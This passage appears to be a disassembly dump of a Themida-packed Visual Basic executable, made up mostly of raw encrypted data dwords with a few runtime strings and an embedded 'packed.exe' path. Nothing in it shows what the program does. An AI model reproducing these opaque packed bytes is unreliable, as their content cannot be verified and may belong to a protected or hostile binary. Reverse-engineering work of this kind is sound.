0BE168554h, 0CB2F5718h, 1D9AEB2Ah dd 0AC22A849h, 12AF21C8h, 6B29AD4Ch, 75ABE352h, 29063FFDh dd 6A742ABBh, 31106279h, 0EDB14CBFh, 0BDE1A614h, 60905F71h dd 0A3303110h, 2AADB030h, 0E2082565h, 80142E3Ch, 7174169Ch dd 0D58ABD29h, 43E6F7h, 5BD40000h, 259BD362h, 0FF09DF1h dd 4207F5A4h, 3E991D1Ch, 68B47291h, 179460A0h, 6B5A0347h dd 27EBF4D8h, 0E5717FBh, 27856A4Ch, 0A83D17FBh, 6F646A22h dd 2517FB29h, 6E78223Bh, 29DEC03Eh, 0D8h, 32CDC09Bh, 0DFF2CD78h dd 60BA8CD8h, 0EDDBB2EAh, 0FA3E0258h, 0B61D1BC4h, 0D85EA711h dd 0AFF38E01h, 0C4279A43h, 0E5B532D5h, 0B61D1CC3h, 0DB5FA411h dd 68F48F02h, 0B62B7456h, 0BE49BC11h, 21EF51FCh, 84C0AAE5h dd 5649900Eh, 85F7ABh, 3A5F9B1h, 11B5C85Ch, 737C52E4h dd 0CF11B5C8h, 0C9B53986h, 0F0DC3BD7h, 5747160Fh, 0CD41F0B6h dd 2D83196Ah, 0BF1159E8h, 16429081h, 31F8B2C3h, 4B9E0EC3h dd 0D2FE8C5Dh, 0D60A22F2h, 66CF2AF5h, 9512D11Ah, 2EF82AADh dd 7F59D171h, 198h, 2FBD5441h, 0CF5DE6DAh dd 63F98A7Ah, 0F8642796h, 9E0EC331h, 2F0A43Ch, 980ADF4Dh dd 37A871EBh, 0D2C51488h, 0AAD4B537h, 0A16B74h, 8E8AD718h dd 7765D2C0h, 2D755D2h, 4A68F48Fh, 9BD3625Bh, 0F09DF125h dd 60064F0Fh, 0AD5C4D1Ch, 974C0729h, 60217FAh, 0AC4B5BFFh dd 0C418DEBFh, 0FA89FDE2h, 0BA304517h, 0A0FAh, 0CDC0C800h dd 27956C32h, 0B8923C62h, 11B59Fh, 9F6AF28Dh, 6CD9912Ch dd 8B2982F7h, 0B91165F0h, 0BBF3427Bh, 0F12B8D05h, 42DA2B0Fh dd 5618A96Ch, 0AE574B12h, 0E1C90628h, 0EC791642h, 780DFBA2h dd 0D5786736h, 0FCC94491h, 0BA50308Fh, 0D227B93Dh, 0DA072FE4h dd 31712E71h, 0D2DFF9h, 1A870000h, 0AC20E973h, 50408913h dd 0EDDC2DBFh, 8977C25Ah, 0DEE658C4h, 9903C836h, 3BA15E50h dd 0DE4EFDEEh, 7FED980Bh, 313E901Ah, 911800A2h, 0D2C04040h dd 91D57465h, 0BD48BB60h, 51CB48E9h, 0F26A1588h, 96F855CCh dd 24425A41h, 79665812h, 0C911B5E5h, 0ECDF36BCh, 41B40D51h dd 97462686h, 35C49A23h, 6BDAF3A1h, 3B42EF23h, 9F911194h dd 9BC1EF63h, 210FFF6Fh, 0C4378ED4h, 3FDBB11Dh, 0FA19686h dd 18015B60h, 891693E0h, 28D3C613h, 1D230E72h, 9F07B357h dd 0A337199Dh, 6BC3F98Bh, 3B92C87Dh, 63643ACBh, 3F5DDCE1h dd 9B740DDFh, 195FF17Eh, 2BD6C904h, 0CA7568B1h, 3BCE3D94h dd 0DDE06067h, 8814AF22h, 0EFB34E41h, 3E9h, 716F2B00h dd 663CD3C0h, 3D611C8Fh, 8ED47364h, 6238C537h, 32681D8Bh dd 82D86D5Bh, 5509BC2Bh, 277B0CFCh, 0FDA15A4Eh, 59545176h dd 4C181h, 0E9830000h, 240C8704h, 0E089505Ch, 405h, 4E88300h dd 5C240487h, 68243489h, 70Fh, 68240489h, 64B0412h, 8324348Bh dd 0EA6804C4h, 89000020h, 4812424h, 424h, 0BB535800h, 8 dd 3389C301h, 83241C8Bh, 48B04C4h, 0E6895624h, 4C681h dd 0C6810000h, 4, 5C243487h, 5124348Bh, 0C181E189h, 4 dd 4C181h, 0C870000h, 16E95C24h, 25FFFA6Bh, 35EFC573h dd 0DC0ABEFBh, 3EB83C43h, 3064B12h, 91E0FFC5h, 4463F866h dd 9F7D7608h, 5B23C21Ah, 0DE6E26EDh, 0D524C1B4h, 627DB8C6h dd 0E948C7FAh, 17Dh, 4FFE5D60h, 6FC2016Ch, 0B4CAD1D7h dd 5B7E41EFh, 5D9752E4h, 0FCA3FB6Dh, 9EB99244h, 0BCD792A5h dd 93B9E495h, 9DB2CB00h, 9CACA3F4h, 9EB9FCh, 0AFC945D2h dd 0FC00EE73h, 9CBA9755h, 0A4E56D59h, 0FEACFFB2h, 5657F647h dd 0CCD4C4h, 8F7DB5F6h, 539549F7h, 0C9BCFA97h, 915CCD45h dd 0ACE56CA1h, 10000h, 43h dup(0) dd 36D1F800h, 0C20DA437h, 20C479D3h, 0FDAE91Bh, 5A680000h dd 0E9064B16h, 0FFFB313Ah, 4B176C68h, 3130E906h, 0F868FFFBh dd 0E9064B18h, 0FFFB3126h, 4B19B568h, 311CE906h, 0E568FFFBh dd 0E9064B1Ah, 0FFFB3112h, 4B1BB668h, 3108E906h, 4C68FFFBh dd 0E9064B1Ch, 0FFFB30FEh, 4B1CB968h, 30F4E906h, 0C168FFFBh dd 0E9064B1Dh, 0FFFB30EAh, 4B1E5368h, 30E0E906h, 68FFFBh dd 0E9064B1Fh, 0FFFB30D6h, 4B1FD268h, 30CCE906h, 0B468FFFBh dd 0E9064B20h, 0FFFB30C2h, 4B21D768h, 30B8E906h, 0E068FFFBh dd 0E9064B22h, 0FFFB30AEh, 77C65072h, 0CB12843Dh, 19A03AD1h dd 6CFF6B67h, 0BC0F9934h, 2BAA649Fh, 597A32BDh, 8E047CCFh dd 3BDBCD1Ch, 0E9B71CAFh, 572EC721h, 0E59D092Dh, 77F76363h dd 37CC813Dh, 0AAF3EA5h, 45A36F34h, 8B33A244h, 2BE7B124h dd 355F335Ah, 62F41278h, 62F86FF3h, 5D1438AAh, 6288DA2Dh dd 0C47BF365h, 48EB7D94h, 0F8FF0B22h, 0DFAA2695h, 36h dd 289E9C7Bh, 2CF44768h, 63708258h, 0A23E41A7h, 0B5D88F33h dd 0C9B67202h, 27355F39h, 80E23AB0h, 22D5D41h, 0E7132Ah dd 0B0AA266Ch, 8E29BF5Ah, 0F899h, 6363BD00h, 0A6049232h dd 3248E209h, 0FBA90593h, 7E99718Dh, 3AD58E06h, 7AF06A65h dd 0A31C5EC5h, 0C8C4BE3Ch, 12BD0F5Eh, 94AEF1F2h, 0DD998C60h dd 0A5BC47D9h, 652DF160h, 2533A19Dh, 4ADCF4A9h, 0A1285F10h dd 0E37BD7EFh, 0DA4C4BA1h, 33B42F80h, 599F992Fh, 0A19D5791h dd 0AFD67933h, 349FDDh, 49F1EC17h, 0CF708A2Dh, 0EF355E64h dd 10864CC4h, 158C6D10h, 5EDB62D5h, 0E2AEF640h, 2F17BFECh dd 8DFBBD22h, 7557E670h, 0B620D937h, 0F573BB34h, 0DB339FFFh dd 7A9BCD74h, 682CECECh, 3CBE97F4h, 0D4D48h, 0F873900h dd 5BCDC4BCh, 0E9639810h, 4922E66h, 54C2C3B5h, 73BDC805h dd 375C452h, 0CDC71680h, 9C14A737h, 0FE67F660h, 2D80E6A2h dd 0A24E2D57h, 316263A2h, 16A9059Dh, 0E20858E3h, 0AAF872E4h dd 0A24388DEh, 6A914633h, 0E57D91CBh, 0CC5E7593h, 1FA6D16Eh dd 289E9C6Fh, 3FDFA068h, 8E31355Fh, 3F6EF42Ch, 0DC142D5Dh dd 6D0E9165h, 0E725AA26h, 63000000h, 0DF1F8F05h, 9BC2EA5h dd 6363BCEEh, 803D77F7h, 97A50E16h, 31680569h, 5EC5556Dh dd 0BB578F27h, 8F33A1F8h, 58509B77h, 5B02AA4h, 0B7F58F39h dd 0A2006DFBh, 900A8533h, 2E7E994Eh, 5F12DD62h, 63D2FD35h dd 0AA6BDF25h, 0C2902E49h, 20BA2CA4h, 94E97F8Fh, 70E72D5Ch dd 0F61DF708h, 7ACCD267h, 72B6E3Ah, 0E3892F18h, 0B6CE75E5h dd 0B32BA558h, 3AAC643Ch, 9433A027h, 8AE0B023h, 73C81D0Bh dd 89F3AD48h, 3FBF2BA7h, 0ED1B1D80h, 86D978D2h, 6719F70Eh dd 97F4AB49h, 3BC9BDC1h, 0F00000Ch, 0DAD21DF5h, 6E26A93Fh dd 3C74C751h, 0D1CB1284h, 3A1BA23Ch, 0DE48458Bh, 60FA158Fh dd 0B129A7D9h, 0C05E762Eh, 0FCB4D479h, 2D572C6Ah, 6388C864h dd 6B7E7462h, 0B7DFEB22h, 1E05C3DFh, 0C97CFA44h, 18F60E86h dd 754BD5D1h, 0A2442BBDh, 8332A533h, 506825D9h, 0A4CB64C6h dd 912E4406h, 28A49C07h, 93CB5F7Bh, 0C4EFA9DCh, 277BFA17h dd 3EA8202Ah, 659C03BCh, 7F4955E2h, 99674139h, 809007CFh dd 5EF96F6Ah, 0B00502CEh, 64CB355Eh, 0AFD40EC6h, 76BE2D5Ch dd 0FDA40BFFh, 63B3AA26h, 0D7000000h, 0CA89E9Ch, 1273E8E1h dd 2A68285Fh, 1955C7FCh, 0C6E73FA6h, 2355EE8h, 14ADDB5Dh dd 3DB1382h, 2D5CF0E1h, 6F24BA3h, 0AA26B8A1h, 31B0h, 5D4BD200h dd 3DB228A2h, 0F7415D9Ah, 61296FADh, 33A24407h, 27FF66C9h dd 355F350Eh, 4199D57Ah, 2D5D1323h, 44B089E1h, 0AA269A63h dd 772h, 706D1400h, 35000008h, 7EA89E9Ch, 362EDA33h, 57BDC76Ah dd 328D21B9h, 1139F183h, 4F356895h, 52729898h, 830375C4h dd 31A432D2h, 0E1A9EFBDh, 2D569487h, 37A32349h, 0AE38F080h dd 202D5694h, 0DFA304BFh, 0DA632F69h, 362F1DA6h, 744FAC01h dd 8E357CC9h, 0EA6498F6h, 3D952963h, 902634A1h, 440C4280h dd 33A24322h, 4340A662h, 0D98E33A2h, 6FB72E91h, 355F488Ah dd 0B9D3466h, 0D7E91CD3h, 91B33337h, 0AF5357A7h, 9B00000Ah dd 265EE179h, 0FAB23DABh, 88004BDDh, 5D57E670h, 0B6A736A0h dd 0A23CD11Fh, 0F46E611Bh, 5953365h, 54C2C2BAh, 8C04005h dd 2D572BDEh, 0C11C74F0h, 33A244A3h, 80902634h, 6955D0C8h dd 76F96E35h, 0C94BFDC1h, 1E454101h, 0AA2B412Fh, 9601BE3Ch dd 779DE748h, 78C35Fh, 0A03ED78Ch, 760EB50Ah, 0AB3DDA30h dd 0A2430563h, 3464CB33h, 1CD30B9Dh, 0F6C471E5h, 0EB783040h dd 0E5356955h, 3195D39Fh, 24DD2D57h, 338738B2h, 0F11F198Ch dd 40D043DBh, 7CEEE402h, 0F265F70Ch, 4D9C0A8Ah, 8F2FBB5Bh dd 57320B57h, 6CDAA0ADh, 22175C14h, 4EF1AF14h, 0F80EE44Eh dd 8CF80217h, 9F2h, 1BA23CD6h, 6FFE6861h, 0BD0C9E35h, 105BCFCBh dd 60EB6598h, 0F70EC073h, 25DED619h, 526820ABh, 873F71F8h dd 0D1BC00Bh, 572B2345h, 4101AD2Dh, 68289E9Ch, 695778A0h dd 0D7F21835h, 0E288D641h, 0B4CC73E5h, 0A128A65Eh, 0E37BD7EFh dd 46DE6876h, 1E43BA8Ah, 1BB0DE2Fh, 67C81681h, 0E1FAB21Dh dd 0BA6996A6h, 0E3E3091Bh, 0C8C72D77h, 30A31C5Eh, 43DFF7A9h dd 0AF7BB9EBh, 33A15539h, 30B12097h, 2B849C2Ah, 0AB77E289h dd 9EEE0971h, 685CB9D2h, 0D0A01735h, 0F28B8EFFh, 38789598h dd 56B0F670h, 0CC77D82Dh, 0FD557EBCh, 0F07632BCh, 0DE2D5705h dd 35014269h, 0C6FEA6D1h, 778F0148h, 598B439Bh, 0B92D5676h dd 52E8EE16h, 9E392119h, 0A1F34559h, 1E2075E9h, 9CE44B2Fh dd 19B305Eh, 0B9E312ADh, 0D9B34805h, 5D712BB2h, 0BA55B3C5h dd 1EE305CDh, 7AED33A2h, 0B9D897D7h, 0CBA8035h, 21D83674h dd 0CAF60CB7h, 38356931h, 37755797h, 570DED7Bh, 0C7CE32Dh dd 6BC466F0h, 25936FC8h, 13429753h, 0F96E2F14h, 0F8044BC7h dd 0F7B8397h, 8C2h, 4B920C86h, 9F2EB851h, 0ED7CEEE5h, 408B1FBBh dd 90DBB548h, 0C7FE3043h, 758E0649h, 0A258509Bh, 0D7EFA128h dd 3D6BF07Bh, 5729F375h, 3151DD2Dh, 28A25D4Bh, 0A29A3DB2h dd 5436B422h, 440C5A16h, 1DC233A2h, 9887B876h, 37AE2E62h dd 85D9B14Dh, 12D66F4Bh, 93D564F2h, 0A3E2150Ch, 72Bh, 0B66D4F00h dd 35000004h, 0C5EEF72Ah, 900B5349h, 0B310BCA5h, 3553E9CCh dd 0CCD2178Eh, 1D6E3A7Ah, 35355E75h, 537320DFh, 992150C7h dd 51454936h, 0E67C6446h, 90D6AE18h, 2BA3753Fh, 42F5CF97h dd 10C8DFB8h, 6CCE7160h, 0D1A315E9h, 178E18BBh, 0EEA94D05h dd 5007625Eh, 0BC2AAAC0h, 0A5B7B2Dh, 61DE1C8Ah, 294CC2FAh dd 60FA42B5h, 7F104h, 0A33BD500h, 0FF696018h, 0D9F346Ch dd 58CECAC2h, 0E8669F11h, 0FC17461h, 0DFD118F6h, 6923AA24h dd 3870FB53h, 1AC30A84h, 2924420Eh, 3EAA2D57h, 0F7636346h dd 16803D77h, 9A2C32C7h, 56A4CE9Ah, 5D023569h, 0B911ADDBh dd 0C8467E36h, 0AD1BE792h, 9B5795EBh, 2D57314Dh, 61A5DC83h dd 2F1E4465h, 0FF3684ABh, 0F8E2D89Ah, 2FA5C355h, 0D8803FBFh dd 0BB34B620h, 0E2E20818h, 459BE574h, 0A1AB5B8Dh, 53C27533h dd 0E17DD5E9h, 0FC9C0A8Bh, 97F6B490h, 5B3C4892h, 2F000007h dd 0FAB23D95h, 8E0649DFh, 5C54E771h, 0F1AB32A4h, 0DAFB42DCh dd 0FE6865ABh, 9A356Fh dd 51C9C7B9h, 0E07E960Eh, 0DC94F459h, 2D57278Ah, 9CA8A844h dd 0A068289Eh, 356957A4h, 0D53345EAh, 62844C39h, 6C2D5730h dd 930554FBh, 5F9DE773h, 57305593h, 0ADD47B2Dh, 388E8C09h dd 2F37B078h, 36992F14h, 0F8392416h, 0DCA83297h, 6EEh dd 1FAE38DAh, 73FA6C65h, 0C1088239h, 14A733CFh, 64F7619Ch dd 0F312DC77h, 21A2DA65h, 566C24B7h, 830375C4h, 11FC417h dd 57281F49h, 5D35B12Dh, 2BBD754Bh, 0A533A244h, 25D98332h dd 5B7B31ADh, 0BB77B5CFh, 33A2442Dh, 51853CA3h, 8F2FBB5Bh dd 0EC4ED8F5h, 7CD6E953h, 71C820FEh, 0F54CAC70h, 47D3F319h dd 0F16DFD15h, 619DC77Eh, 20E8972Ch, 33A243C6h, 0BA30A708h dd 654F9E05h, 0A3E16582h, 751h, 0BE6DF500h, 35000002h dd 77F76363h, 0CA4AFCC2h, 0E9679EF4h, 0A243C325h, 7AECEB33h dd 40D043F4h, 694FBC88h, 22AD1235h, 0A4FC6A6Ah, 0BC27B14Eh dd 0D7417C36h, 59EFF384h, 431613DFh, 15BA2F1Eh, 71E9E503h dd 0F2359EEEh, 916AE43h, 1DB1EB0Ah, 0B2532985h, 86C48624h dd 0A2379CCAh, 6A8D3233h, 3D47F1CDh, 5F300075h, 782E835h dd 92E25D91h, 5D3F90D6h, 62893E2Dh, 0B328066Ah, 82E67491h dd 5E6h, 27B620A2h, 7BC2546Dh, 0C9108A01h, 1CAF3BD7h, 6CFF6964h dd 0FB1AD46Fh, 29AAE26Dh, 5E742CBFh, 8B0B7DCCh, 1907CC1Fh dd 57271751h, 552DB92Dh, 0ADF76363h, 9DD14947h, 693BB322h dd 0D4168003h, 43AC3AF6h, 0BD2233A2h, 19B5EF16h, 0B7F32D81h dd 0CC5A7ABEh, 9CB01BB4h, 5EFA629Ch, 0D3D49C27h, 0E2A3E1E4h dd 14h, 0CBB048A6h, 0A1BCE97Fh, 0CD70E733h, 3F6DF8AAh dd 35000001h, 6E776363h, 0FA47D2B2h, 0A6CCCC73h, 0C497F653h dd 554F2B6h, 9E300000h, 0C6C3B504h, 78970950h, 0AD255FEEh dd 0DBFAB23Dh, 0A2D1024Dh, 74C7516Ch, 0C609833Ch, 17A630CEh dd 66E9619Dh, 81E7A3FDh, 4F2D5725h, 754BA3A3h, 0A2442BBDh dd 8332A533h, 0EBAD25D9h, 8D9707BDh, 0A243A3C5h, 1BBA2D33h dd 0AD25D9D3h, 0A29BDF31h, 69F06E66h, 0E165A007h, 0DB7A3h dd 6DD30000h, 0C2h, 0BC6D35h, 4B350000h, 442BBD75h, 32A533A2h dd 0EE582683h, 4FEADA96h, 0BF203569h, 99718FE5h, 4922F45h dd 49CC6691h, 1EB1C375h, 0F77750CBh, 0EABADDC6h, 13E7351Eh dd 2C2C932Fh, 97F850C8h, 0A7A4C01Ah, 63000004h, 2E66E961h dd 0C2BA0593h, 900853C5h, 255FEE78h, 0AEAF3EA8h, 0AA24D917h dd 0FC566923h, 0D9D3B6Dh, 5CCACAC2h, 10D8480Dh dword_59FE9C dd 2D5724D6h, 9C146CF8h, 5DA89Eh, 0A9DA6B39h, 28B67202h ; DATA XREF: Themida_:0053EC6Co dd 48355F1Ah, 10D8A322h, 2D5D15D6h, 0B12057F8h, 90FE8629h dd 0F4AB247Bh, 80DA41DBh, 0DD31B82Fh, 2D5D1588h, 0F06A608Eh dd 6BE71F41h, 3913A8E0h, 0C3FD955h, 91CD70BFh, 42D15h dd 5D4BBD00h, 42DCF7A4h, 50209FDFh, 0A2444E98h, 0A4DF8033h dd 8F893F03h, 7CFE6861h, 8C050C3h, 3569503Ch, 79D3E892h dd 87274AE5h, 0FABA0C12h, 0D8B64EA4h, 6CCE5870h, 795AA0D3h dd 992F143Eh, 6AC05673h, 0FE686BD5h, 0E50C37Ch, 2F2DA759h dd 419D97F8h, 3D525h, 871FB100h, 0D3457C34h, 61FB1088h dd 0BC2AA6DEh, 0CC5A7B2Dh, 0EB25507Dh, 0BBED7CEAh, 453F8E18h dd 148CDF4Fh, 76DF6EF8h, 25085E2Ah, 2AC62D57h, 289E9C2Ah dd 0E7DF4768h, 0EFDDAD85h, 0CDE62474h, 21E96724h, 33A227C7h dd 5AB3A609h, 871F8609h, 3568A2C3h, 0EDC65E01h, 24F5F897h dd 37B1797Ah, 992D5744h, 108336h, 0ED7CEAEAh, 0CA5C7593h dd 45DDF1ABh, 0EB08BBE9h, 0A25E570Eh, 5D910987h, 63C47FE2h dd 0A36F299Fh, 2F1E1F1Ah, 20B652B8h, 3C82358Ah, 0E055440Bh dd 244BE84Fh, 0C59E365Ch, 0E86299CEh, 46DE45h, 0A1B31E48h dd 750FB033h, 0A1B32BBDh, 8332A533h, 0D24C4038h, 0B7011D98h dd 85E3AFEDh, 4B33A1B2h, 811BB4E4h, 1163922Dh, 5EB8A059h dd 0CDCF7035h, 91B3A385h, 0F3D1D529h, 0D7000002h, 621AA53Dh dd 366EF167h, 0C4BC0F99h, 99135ACCh, 7263EA64h, 66F00DC3h dd 0A822DDD7h, 0F9516F21h, 8863E76h, 440C1CC1h, 2D572422h dd 634000ACh, 3D77F763h, 0BA2CE481h, 1433A243h, 4BC3F9A3h dd 6F295C13h, 0DB138B01h, 12541C64h, 0BC33A244h, 0A051E80Bh dd 5C146CDAh, 355F33A7h, 0A47CFE61h, 2D5D143Eh, 0A155ECC4h dd 0AA26953Eh, 3B15h, 9E9C3100h, 0D42A6828h, 0A243CA1Ch dd 20530433h, 5F3F25DAh, 0CC54FB35h, 5D8FFFE3h, 1060E320h dd 5CBC0E58h, 0E41FC02Dh, 0BB4C964Eh, 0FE362D5Ch, 0F12CB347h dd 0DA0BAA26h, 2F000000h, 77F76363h, 0D416803Dh, 6EF8B0F6h dd 6033A243h, 0E01C44FFh, 6BEF476h, 25ED4188h, 6533A23Fh dd 366EF169h, 2FAA009Eh, 68BA6553h, 56A93F8Bh, 0B02733A1h dd 18F7388Dh, 375CA4F0h, 51C46B08h, 2B1A0BC7h, 1B6355Eh dd 932539BEh, 0A9254381h, 9302BD31h, 17EF880Bh, 0E1B3242Fh dd 661C0A8Bh, 53B4DA33h, 0A6DE6194h, 799FB12Fh, 0F197F43Ah dd 1D0196Dh, 1AB40000h, 4A473980h, 0FC1B8DDCh, 11A9E36Ah dd 477E36B9h, 3E5586C9h, 0F843DDF0h, 4A950F80h, 9B22B452h dd 0EA75EDE1h, 0FD6B2761h, 0D32D5722h, 5D4B3F57h, 38B737A7h dd 0B02EA799h, 65F7729h, 0AEF61D8Bh, 0A1D04A40h, 0E2084E1Eh dd 40A674E2h, 2D33A244h, 0BA3FF75Dh, 6F50E6B8h, 8C55F2CFh dd 9E39AC18h, 0BD754BACh, 33A2442Bh, 44499F6Bh, 0D08733A2h dd 0B16B598Eh, 52FE6E29h, 2F33B42Fh, 33599F99h, 0B930294h dd 355EBC76h, 9149E54Ah, 2D5CBC53h, 0B440F931h, 0AA26F033h dd 0A802h, 0D4E80600h, 636BDB7Ah, 1973263h, 0AB2A409Ah dd 2249C3F8h, 3FC05088h, 748833A2h, 0A559539Ah, 3604B12Dh dd 0EB38F080h, 65355F13h, 0F0CE6BF2h, 3AD03E46h, 90580AA0h dd 2D5D1B56h, 31A0D778h, 8E8DAB67h, 7CE32F18h, 4B30CE24h dd 9FA969FFh, 4DF06733h, 55275E11h, 0C108863Fh, 0A05836CFh dd 97F4B60Ch, 0C7087CFEh, 83000000h, 4E468901h, 0E29A25B3h dd 0B0E873E5h, 453F8E18h, 4E8FDE48h, 4AC4F937h, 9C768903h dd 2DBD5B4Dh, 7CEAEAA2h, 703868EDh, 2D5721F6h, 63344CD8h dd 3365F462h, 177D0793h, 6DF46FFBh, 0F7636331h, 9813D77h dd 71E9E10Fh, 0E4FA7FC6h, 56CDEAD2h, 0C376884Ah, 6C5073B1h dd 925BC86Ch, 0F3753D47h, 0DD33A16Ch, 0FF33CB6Ah, 6D356878h dd 8A0A60FAh, 3BDBCD1Ch, 375D0FAFh, 51CFC69Fh, 0CC738B2Ah dd 0C13A3E20h, 0BC5094ADh, 99345222h, 0E110AF0Fh, 30AE265Eh dd 198F0A60h, 1E32EAC5h, 0ECE1341Eh, 1E94DE79h, 41F674E2h dd 0CCC0043Dh, 7D910B52h, 0F3D49E5h, 0E7000000h, 44E67089h dd 0A238962Eh, 0F7FE60Dh, 6163443Eh, 873F75E9h, 23D9D30Bh dd 467933ABh, 0F9146ECCh, 18B5CF6Fh, 0BA562C8Eh, 0DFF48E2Ch dd 7E9B114Dh, 57CE72E8h, 0C781E789h, 4, 4BD55h, 0EF290000h dd 243C875Dh, 1B35685Ch, 1C890000h, 7FBD6824h, 4890000h dd 0BB535624h, 43B739A3h, 24EB4BEh, 5BDE294Ah, 815EF389h dd 4ECh, 24248900h, 4240483h, 4EC8158h, 89000000h, 408F241Ch dd 24048B08h, 81E68956h, 4C6h, 4C68300h, 5C243487h, 53241C8Bh dd 0C381E389h, 4, 8704C383h, 0E95C241Ch, 0FFFB2176h, 62356433h dd 0DF11E99Fh, 796EEBA7h, 4B23CCB8h, 0FFC50306h, 43FC02E0h dd 9F40BF08h, 0A6C7A54h, 714F2852h, 0DFFC4D47h, 0C383807h dd 2AFD1C7Bh, 669A9702h, 91FA644Fh, 167C995Fh, 338D8D7Dh dd 6A064B25h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 1FFBC352h, 0F50373BBh, 2A018D89h dd 8D310645h, 645025Dh, 3D585C7h, 5B080645h, 0F08B0000h dd 95D85C7h, 645h, 6E80000h db 3 dup(0) byte_5A0447 db 3Ch ; DATA XREF: Themida_:00541020o dd 9CCD2D42h, 3A9FBE45h, 0FF5B67FAh, 4510ADB5h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 0CE812A59h, 71BCE59Ah, 0DF8166F1h, 0CE9B19Fh, 6B000000h dd 87C4E18h, 168EEDA3h, 0FFADE8D0h, 452A1195h, 0AD9D8906h dd 6A064530h, 2195FF00h db 31h, 45h word_5A04A6 dw 8B06h ; DATA XREF: Themida_:0053E1D0o dd 935CEBC0h, 5F83D559h, 86FD9ABh, 6F4ADB3Ch, 9F3EF773h dd 0FF2529D5h, 0F755AC9Fh, 0B00BE280h, 0E2B3E57Bh, 0D3603A8Ch dd 4171ACFBh, 8320DBA2h, 0BAE34B8h, 0F078C05Ch, 66B4509h dd 20BEF1D1h, 0D4F2494Ch, 19E3ADBEh, 0D4980FACh, 912BDD4Ch dd 4AE749DBh, 0CA926073h, 8152DE4Eh, 0E916AB26h, 15Ch dd 77E705C5h, 6D5C3A43h, 706E755Fh, 656B6361h, 61700072h dd 64656B63h, 6578652Eh, 3Bh dup(0) a3cannotFindS_P db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0 aThunrtmain db 'ThunRTMain',0 a__vbavartstne db '__vbaVarTstNe',0 dd 2EB14E2h, 1BFAE9h, 292F6800h, 0D6E9064Bh, 68FFFA56h dd 64B2A48h, 0FA56CCE9h, 2B4968FFh, 0C2E9064Bh, 68FFFA56h dd 64B2BFAh, 0FA56B8E9h, 2C3968FFh, 0AEE9064Bh, 68FFFA56h dd 64B2D01h, 0FA56A4E9h, 2D5468FFh, 9AE9064Bh, 68FFFA56h dd 64B2DADh, 0FA5690E9h, 34D468FFh, 86E9064Bh, 68FFFA56h dd 64B3566h, 0FA567CE9h, 361568FFh, 72E9064Bh, 68FFFA56h dd 64B36EAh, 0FA5668E9h, 376168FFh, 5EE9064Bh, 68FFFA56h dd 64B383Ah, 0FA5654E9h, 391C68FFh, 4AE9064Bh, 68FFFA56h dd 64B39DAh, 0FA5640E9h, 3FB168FFh, 36E9064Bh, 68FFFA56h dd 64B40F2h, 0FA562CE9h, 418E68FFh, 22E9064Bh, 78FFFA56h dd 9158C48Bh, 31F8641Dh, 4D9C00C1h, 0E831AB5Eh, 75D755FAh dd 9439A76Dh, 32CFC108h, 0DF6E5FAAh, 7E09FC4Dh, 4D63ABEEh dd 1800B8A2h, 0C0F7D11Eh, 0C87B6ACDh, 4BBE6392h, 36F33B0h dd 9106E9CFh, 0D5C411B5h, 9D429332h, 0C21B9F2Ah, 0FAA834CFh dd 863872C3h, 0FF0A26Ch, 0FBE5B9CAh, 17FAC4E8h, 0FF9BA2BEh dd 0DEBFD5E7h, 3BB0h, 625B0200h, 0F1259BD3h, 4F0FF09Dh dd 657E6006h, 0AB17FA97h, 7FD68C39h, 0A0AAF08Dh, 0E3A82B32h dd 69306065h, 6293D77Ah, 95E9F628h, 0C5917FAh, 0ACD6D086h dd 2B81DEBFh, 33000001h, 0B0BF1155h, 1011B591h, 23964FC3h dd 7D6BC298h, 0C83B92C8h, 86C87165h, 0B5913F20h, 0F5728311h dd 8B2D61A5h, 11B591E4h, 3A25175Ch, 8611B591h, 0C8A1F97Dh dd 90B22AD5h, 11B59E17h, 0C527E2D5h, 0A0C68174h, 80CA7B52h dd 0F095382Eh, 0EF7D860Fh, 23A6A28Fh, 95D9FB3Ah, 937A5301h dd 3BC83A23h, 0CC49D667h, 91E9DB82h, 0FABF303Fh, 0C6439017h dd 0B4C80C70h, 0FABF4D12h, 0EA60F517h, 425A83C4h, 0E4B63F16h dd 102A85A0h, 0AF07D5E0h, 420DE28Dh, 0E2EB5C1Eh, 9E4B74FDh dd 6428AE37h, 25CAEC20h, 9D1E4211h, 9D0BC248h, 0A28D2ACCh dword_5A0880 dd 2FCE942Fh, 6B6C9186h, 133E7EEEh, 50B2383Ch, 73AA205Dh ; DATA XREF: Themida_:0053FFE8o dd 69E6C085h, 62712DF0h, 1916B026h, 2EF0000h, 9408D14Bh dd 38A871EBh, 0D5C41597h, 715FAA32h, 0F68E40DCh, 811BB01Eh dd 23B946B8h, 0C626E5D6h, 67C58073h, 19C6F822h, 0A91800BAh dd 0F8557858h, 0AB5F4C91h, 0D40D8124h, 0FBBB21E6h, 8C02C132h dd 0B46A6255h, 11B5ABABh, 0DB41CE17h, 23E0D29Bh, 0ABAAB56Bh dd 0CD1611B5h, 625B7B49h, 0F1259BD3h, 0A40FF09Dh, 95A14E60h dd 0D42117FAh, 366CF95Eh, 0FA97BBA8h, 6E779117h, 0BFACBA2Ch dd 0DCE5DEh, 80A90000h, 531CB210h, 0EF17FA89h, 57951966h dd 7832CDC0h, 0C823FB1h, 7A0FFD54h, 9DFDBA24h, 6AAE11B5h dd 0B595ABB4h, 48CE1711h, 2B631E91h, 0AFF39002h, 0D696088Eh dd 710BBF7Bh, 6456FBF4h, 0F57283A7h, 8A35A861h, 452A8CC0h dd 0FD11B612h, 48AAE268h, 1CB2FC4Dh, 0FF1114Ah, 0EB2F6FF4h dd 0FB252A35h, 0E44D9617h, 4BB4DAA4h, 2BA529ACh, 0B9F14045h dd 42FFB107h, 0A90F1316h, 1E4313C6h, 226CE97Ah, 64F88D7Bh dd 40622795h, 712EA811h, 0FD18BECAh, 88000017h, 21E8741Bh dd 418814ADh, 0DD2CB051h, 78C15BEEh, 0E567C58Ah, 4C937DDh dd 0A25F5198h, 4FFEEF3Ah, 0EE990CDDh, 3D931B7Eh, 1800BB32h dd 5547418Eh, 2C721584h, 6250890Dh, 0AE7F3FADh, 5CDD813Ah dd 0F18C7FD6h, 0CDC0756Bh, 43B17832h, 0F859D88Eh, 139CBC54h dd 356DE1A8h, 4EDE695Ch, 5A14A560h, 0ED612493h, 77970FA1h dd 11290FF1h, 0FB75B0BFh, 0D4271217h, 0C5DAEBDDh, 0DCD0155Eh dd 71FE7F23h, 